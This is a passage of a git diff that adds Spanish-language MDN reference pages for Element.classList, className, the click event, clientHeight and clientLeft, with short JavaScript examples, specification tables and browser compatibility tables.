+ Cuando el segundo argumento está presente: Si el segundo argumento se evalúa como <code>true</code>, se añade la clase indicada, y si se evalúa como <code>false</code>, la elimina.</dd>
+ <dt>contains( String )</dt>
+ <dd>Comprueba si la clase indicada existe en el atributo de clase del elemento.</dd>
+ <dt>replace( oldClass, newClass )</dt>
+ <dd>Reemplaza una clase existente por una nueva.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js" dir="rtl">// div es una referencia de objeto al elemento &lt;div&gt; con class="foo bar"
+div.classList.remove("foo");
+div.classList.add("anotherclass");
+
+// si visible está presente la elimina, de lo contrario la añade
+div.classList.toggle("visible");
+
+// añadir/eliminar visible, dependiendo de la condición, i menor que 10
+div.classList.toggle("visible", i &lt; 10 );
+
+alert(div.classList.contains("foo"));
+
+// añadir o eliminar varias clases
+div.classList.add("foo", "bar");
+div.classList.remove("foo", "bar");
+
+// reemplazar la clase "foo" por "bar"
+div.classList.replace("foo", "bar");</pre>
+
+<div class="note">
+<p>Las versiones de Firefox anteriores a la 26 no implementan el uso de múltiples argumentos en los métodos add/remove/toggle. Vea <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=814014">https://bugzilla.mozilla.org/show_bug.cgi?id=814014</a></p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "dom.html#dom-classlist", "Element.classList")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Nota en la especificación de HTML relacionada con el atributo {{htmlattrxref("class")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-element-classlist", "Element.classList")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-element-classlist", "Element.classList")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>8</td>
+   <td>12</td>
+   <td>{{CompatGeckoDesktop(1.9.2)}}</td>
+   <td>10<sup>[1]</sup></td>
+   <td>11.50</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td>Segundo argumento del método <code>toggle()</code></td>
+   <td>24</td>
+   <td>12</td>
+   <td>{{CompatGeckoDesktop(24)}}</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>15</td>
+   <td>7</td>
+  </tr>
+  <tr>
+   <td>Múltiples argumentos para <code>add()</code> y <code>remove()</code></td>
+   <td>28</td>
+   <td>12</td>
+   <td>{{CompatGeckoDesktop(26)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15</td>
+   <td>7</td>
+  </tr>
+  <tr>
+   <td><code>replace()</code></td>
+   <td>61</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("49")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>3.0</td>
+   <td>12</td>
+   <td>{{CompatGeckoMobile(1.9.2)}}</td>
+   <td>10<sup>[1]</sup></td>
+   <td>11.10</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>Segundo argumento del método <code>toggle()</code></td>
+   <td>4.4</td>
+   <td>12</td>
+   <td>{{CompatGeckoMobile(24)}}</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>7.0</td>
+  </tr>
+  <tr>
+   <td>Múltiples argumentos para <code>add()</code> y <code>remove()</code></td>
+   <td>4.4</td>
+   <td>12</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>7.0</td>
+  </tr>
+  <tr>
+   <td><code>replace()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("49")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] No soportado para elementos SVG.  Vea <a href="https://connect.microsoft.com/IE/feedback/details/1046039/classlist-not-working-on-svg-elements">un informe de Microsoft acerca de esto</a>.<br>
+ [2] Internet Explorer no lo implementa actualmente. Vea <a href="https://connect.microsoft.com/IE/feedback/details/878564/element-classlist-toggle-does-not-support-second-parameter">un informe de Microsoft acerca de esto</a>.</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{domxref("element.className")}}</li>
+ <li>{{domxref("DOMTokenList")}};</li>
+</ul>
diff --git a/files/es/web/api/element/classname/index.html b/files/es/web/api/element/classname/index.html
new file mode 100644
index 0000000000..be9b04b4b0
--- /dev/null
+++ b/files/es/web/api/element/classname/index.html
@@ -0,0 +1,130 @@
+---
+title: Element.className
+slug: Web/API/Element/className
+tags:
+  - API
+  - DOM
+  - Gecko
+  - Propiedad
+  - Referencia
+translation_of: Web/API/Element/className
+---
+<div>{{APIRef("DOM")}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><strong>className</strong> obtiene y establece el valor del atributo <code>class</code> del elemento especificado.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>var cName</var> = <var>elementNodeReference</var>.className;
+<var>elementNodeReference</var>.className = <var>cName</var>;</pre>
+
+<ul>
+ <li><var>cName</var> es una variable de cadena representando la clase o la lista de clases separada por espacios, del elemento en cuestión.</li>
+</ul>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">let elm = document.getElementById('item');
+
+if(elm.className === 'active'){
+    elm.className = 'inactive';
+} else {
+    elm.className = 'active';
+}</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>El nombre <code>className</code> es utilizado para esta propiedad en lugar de <code>class</code> para evitar conflictos con la palabra clave "class" existente en muchos de los lenguages que son usados para manipular el DOM.</p>
+
+<p><code>className</code> también puede ser una instancia de {{domxref("SVGAnimatedString")}} si <code>element</code> es un {{domxref("SVGElement")}}. Es mejor de obtener/establecer la propiedad <code>className</code> de un elemento utilizando {{domxref("Element.getAttribute")}} y {{domxref("Element.setAttribute")}} si estás tratando con elementos SVG.</p>
+
+<pre class="brush: js">elm.setAttribute('class', elm.getAttribute('class'))</pre>
+
+<p> </p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-element-classname", "element.className")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-element-classname", "element.className")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-95362176", "element.className")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("element.classList")}}</li>
+</ul>
diff --git a/files/es/web/api/element/click_event/index.html b/files/es/web/api/element/click_event/index.html
new file mode 100644
index 0000000000..9a74553c13
--- /dev/null
+++ b/files/es/web/api/element/click_event/index.html
@@ -0,0 +1,280 @@
+---
+title: click
+slug: Web/API/Element/click_event
+translation_of: Web/API/Element/click_event
+---
+<p>El evento "click" se dispara cuando se presiona el botón de un dispositivo de entrada (Mouse o Mousepad) sobre un elemento. </p>
+
+<h2 id="Información_General">Información General</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Especificación</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-click">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interfaz</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("MouseEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">Varies</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>A count of consecutive clicks that happened in a short amount of time, incremented by one.</td>
+  </tr>
+  <tr>
+   <td><code>currentTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>The node that had the event listener attached.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>screenX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>screenY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>button</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.</td>
+  </tr>
+  <tr>
+   <td><code>buttons</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td>
+  </tr>
+  <tr>
+   <td><code>mozPressure</code> {{readonlyInline}}</td>
+   <td>float</td>
+   <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">&lt;div id="prueba"&gt;&lt;/div&gt;
+
+&lt;script&gt;
+  document.getElementById("prueba").addEventListener("click", function( event ) {
+    // presentar la cuenta de clicks realizados sobre el elemento con id "prueba"
+    event.target.innerHTML = "Conteo de Clicks: " + event.detail;
+  }, false);
+&lt;/script&gt;
+</pre>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<h3 id="Internet_Explorer">Internet Explorer</h3>
+
+<p>Internet Explorer 8 &amp; 9 tiene problemas con elementos con un  valor {{cssxref("background-color")}} de <code><a href="/en-US/docs/Web/CSS/color_value#transparent_keyword">transparent</a> que es sobrepuesto a los demas elementos por lo que no les permite recibir el evento.</code></p>
+
+<p>Un ejemplo <a href="http://jsfiddle.net/YUKma/show/">aqui</a></p>
+
+<p>¿Cómo evitarlo?</p>
+
+<ul>
+ <li>Para IE9 only:
+  <ul>
+   <li>Asignar  <code>{{cssxref("background-color")}}: <a href="/en-US/docs/Web/CSS/color_value#rgba()">rgba</a>(0,0,0,0)</code></li>
+   <li>Asignar <code>{{cssxref("opacity")}}: 0</code> y asignar explicitamente {{cssxref("background-color")}}  un valor diferente a <a href="/en-US/docs/Web/CSS/color_value#transparent_keyword"><code>transparent</code></a></li>
+  </ul>
+ </li>
+ <li>Para IE8 and IE9:
+  <ul>
+   <li>Asignar <code><a href="http://msdn.microsoft.com/en-us/library/ms532847(v=vs.85).aspx">filter</a>: alpha(opacity=0);</code> y asignar explicitamente {{cssxref("background-color")}} un valor diferente a <a href="/en-US/docs/Web/CSS/color_value#transparent_keyword"><code>transparent</code></a></li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Safari_Mobile">Safari Mobile</h3>
+
+<p>En Safari Mobile 7.0+ ( también algunas versiones anteriores) <a href="https://bugs.webkit.org/show_bug.cgi?id=153887">presenta un problema</a> cuando se da click sobre elementos que no son tipicamente interactivos como es el caso de un div. </p>
+
+<p>¿Cómo evitarlo?</p>
+
+<ul>
+ <li>Asignar {{cssxref("cursor")}}<code>: pointer;</code> en el elemento o uno de sus contendores.</li>
+ <li>Ubicar un attributo <code>onclick="void(0)"</code> al elemento o cualquiera de sus elementos contenedores, menos {{HTMLElement("body")}}.</li>
+ <li>Usar elementos interactivos (e.g. {{HTMLElement("a")}}) en lugar de no interactivos (e.g. {{HTMLElement("div")}}).</li>
+ <li>No usar  <a href="http://davidwalsh.name/event-delegate">delegacion del evento</a> click.</li>
+</ul>
+
+<p>Lo siguientes elementos son considerados por Safari típicamente interactivos</p>
+
+<ul>
+ <li>{{HTMLElement("a")}} (but it must have an <code>href</code>)</li>
+ <li>{{HTMLElement("area")}} (but it must have an <code>href</code>)</li>
+ <li>{{HTMLElement("button")}}</li>
+ <li>{{HTMLElement("img")}}</li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{HTMLElement("label")}} (but it must be associated with a form control)</li>
+ <li>{{HTMLElement("textarea")}}</li>
+ <li><em>This list is incomplete; you can help MDN by doing further testing/research and expanding it.</em></li>
+</ul>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Edge</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>En elementos inhabilitados</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>En elementos inhabilitados</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Sólo funciona para los tipos {{HTMLElement("textarea")}} elements and some {{HTMLElement("input")}} .</p>
+
+<p>[2] Internet Explorer sólo dispara el evento click en los elementos  {{HTMLElement("input")}} tipo <code>checkbox</code> o <code>radio cuando se ha realizdo sobre ellos un doble click.</code></p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{event("mousedown")}}</li>
+ <li>{{event("mouseup")}}</li>
+ <li>{{event("mousemove")}}</li>
+ <li>{{event("click")}}</li>
+ <li>{{event("dblclick")}}</li>
+ <li>{{event("mouseover")}}</li>
+ <li>{{event("mouseout")}}</li>
+ <li>{{event("mouseenter")}}</li>
+ <li>{{event("mouseleave")}}</li>
+ <li>{{event("contextmenu")}}</li>
+</ul>
diff --git a/files/es/web/api/element/clientheight/index.html b/files/es/web/api/element/clientheight/index.html
new file mode 100644
index 0000000000..0784b49a36
--- /dev/null
+++ b/files/es/web/api/element/clientheight/index.html
@@ -0,0 +1,61 @@
+---
+title: Element.clientHeight
+slug: Web/API/Element/clientHeight
+tags:
+  - Propiedad
+translation_of: Web/API/Element/clientHeight
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La propiedad de sólo lectura <code><strong>Element.clientHeight</strong></code> devuelve la altura de un elemento en píxeles, incluyendo el padding pero no las barras horizontales, el borde o el margen.</p>
+
+<p><code>clientHeight</code> puede ser calculado como CSS <code>height</code> + CSS <code>padding</code> - alto de la barra horizontal (si existe).</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Esta propiedad redondeará el valor a un entero. Si necesitas un valor fraccional usa {{ domxref("element.getBoundingClientRect()") }}.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Sintaxis</h2>
+
+<pre class="syntaxbox">var <var>h</var> = <var>element</var>.clientHeight;</pre>
+
+<p><code><var>h</var></code> es un entero que representa el alto de <em>element</em> en píxeles.</p>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<p> </p>
+
+<p>              <img alt="Image:Dimensions-client.png" class="internal" src="/@api/deki/files/185/=Dimensions-client.png"></p>
+
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-htmlelement-clientheight', 'clientheight')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Notes" name="Notes">Notas</h3>
+
+<p><code>clientHeight</code> es una propiedad introducida en el modelo de objeto de Internet Explorer.</p>
+
+<h2 id="See_Also" name="See_Also">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Element.offsetHeight")}}</li>
+ <li>{{domxref("Element.scrollHeight")}}</li>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a></li>
+ <li><a href="https://docs.microsoft.com/en-us/previous-versions//hh781509(v=vs.85)">MSDN: Measuring Element Dimension and Location</a></li>
+</ul>
diff --git a/files/es/web/api/element/clientleft/index.html b/files/es/web/api/element/clientleft/index.html
new file mode 100644
index 0000000000..e6ffc24faf
--- /dev/null
+++ b/files/es/web/api/element/clientleft/index.html
@@ -0,0 +1,58 @@
+---
+title: element.clientLeft
+slug: Web/API/Element/clientLeft
+tags:
+  - Referencia_DOM_de_Gecko
+translation_of: Web/API/Element/clientLeft
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>El ancho del borde izquierdo de un elemento en pixel. Incluye el ancho de la barra de desplazamiento vertical, si la dirección del texto es<em>rtl</em> (derecha a izquierda) y si hay un desbordamiento que provoque la aparición de la barra en el lado izquierdo. <code>clientLeft</code> NO incluye<em>margin-left</em> o padding-left<em>. <code>clientLeft</code> es de sólo lectura.</em></p>
+
+<p>Las aplicaciones "<a href="es/Gecko">Gecko</a>-based applications" implementan <code>clientLeft</code> a partir de Gecko 1.9 (<a href="es/Firefox_3">Firefox 3</a>, ver {{ Bug(111207) }}). Esta propiedad no está implementada en Firefox 2 o anteriores.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">var <var>left</var> = <var>element</var>.clientLeft;
+</pre>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Suave, individualista y muy leal, los gatos de Birmania tienen un carácter entre los persas y los siameses. Si le gustan los gatos que no son agresivos, disfrutan estar entre los humanos y son generalmente tranquilos, esta es la raza para usted.</p>
+
+<p><span style="float: right;"><img alt="Image:BirmanCat.jpg"></span>Todos los Birmanos tienen pintas y coloración obscura en la cara, orejas, patas y cola.</p>
+
+<p>La imagen del gato y el texto vienen de <a class="external" href="http://www.best-cat-art.com/">www.best-cat-art.com</a></p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong><em>margin-top</em><em>margin-bottom</em><em>border-top</em><em>border-bottom</em><span class="comment">{{ mediawiki.external('if IE') }}&gt;&lt;span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-left&lt;/span&gt;&lt;span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-left&lt;/span&gt;&lt;span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;padding-left&lt;/span&gt;&lt;span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;"&gt;padding-right&lt;/span&gt;&lt;span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-right&lt;/span&gt;&lt;span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-right&lt;/span&gt;&lt;!{{ mediawiki.external('endif') }}</span></div>
+
+<p style="margin-top: 270px;"><img alt="Image:clientLeft.png"></p>
+
+<p><img alt="La barra de desplazamiento vertical en el lado izquierdo, aparece cuando la propiedad layout.scrollbar.side tiene el valor 1 o 3"></p>
+
+<p>Cuando la propiedad <a class="external" href="http://kb.mozillazine.org/Layout.scrollbar.side"><em>layout.scrollbar.side</em> </a> se establece a 1 o a 3 y la dirección de texto está puesta a RTL, <strong>entonces la barra de desplazamiento se pone a la izquierda</strong> y esto afecta a la forma en que se calcula clientLeft.</p>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p>No es parte de ninguna especificación W3C.</p>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p><code>clientLeft</code> apareció por primera vez en el modelo de objetos de MS IE DHTML.</p>
+
+<p>La posición de la barra de desplazamiento vertical en textos<em>rtl</em> depende de la preferencias de <a class="external" href="http://kb.mozillazine.org/Layout.scrollbar.side"><em>layout.scrollbar.side</em> </a></p>
+
+<h3 id="Referencias" name="Referencias">Referencias</h3>
+
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/clientleft.asp?frame=true">MSDN's clientLeft definition</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/om/measuring.asp">MSDN's Measuring Element Dimension and Location</a></li>
+</ul>
diff --git a/files/es/web/api/element/clienttop/index.html b/files/es/web/api/element/clienttop/index.html
new file mode 100644
